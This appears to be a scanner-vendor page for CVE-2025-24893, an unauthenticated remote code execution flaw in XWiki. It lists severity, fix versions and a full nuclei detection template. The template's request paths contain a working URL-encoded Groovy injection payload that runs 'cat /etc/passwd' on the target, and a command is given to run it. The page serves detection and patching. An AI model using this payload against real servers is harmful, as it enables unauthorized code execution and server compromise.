XWiki Platform - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-10-30; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.

Impact

An attacker can execute arbitrary code on the server, leading to a complete compromise of the XWiki instance.

Fix

Upgrade to XWiki 15.10.11, 16.4.1, or 16.5.0RC1 to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execut… ; GET {{BaseURL}}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.…
Positive when: matches /root:.*:0:0/ AND contains in content_type "application/rss+xml" AND status 200

Run it with nuclei: nuclei -id CVE-2025-24893 -u <target>

The full check

id: CVE-2025-24893

info:
  name: XWiki Platform - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.
  impact: |
    An attacker can execute arbitrary code on the server, leading to a complete compromise of the XWiki instance.
  remediation: |
    Upgrade to XWiki 15.10.11, 16.4.1, or 16.5.0RC1 to mitigate this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-rr6p-3pfg-562j
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24893
  classification:
    epss-score: 0.99974
    epss-percentile: 0.99978
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-24893
    cwe-id: CWE-95
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,rce,vkev,vuln,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20"
      - "{{BaseURL}}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20"

    stop-at-first-match: true

    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"
          - "wiki"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/rss+xml"

      - type: status
        status:
          - 200

References

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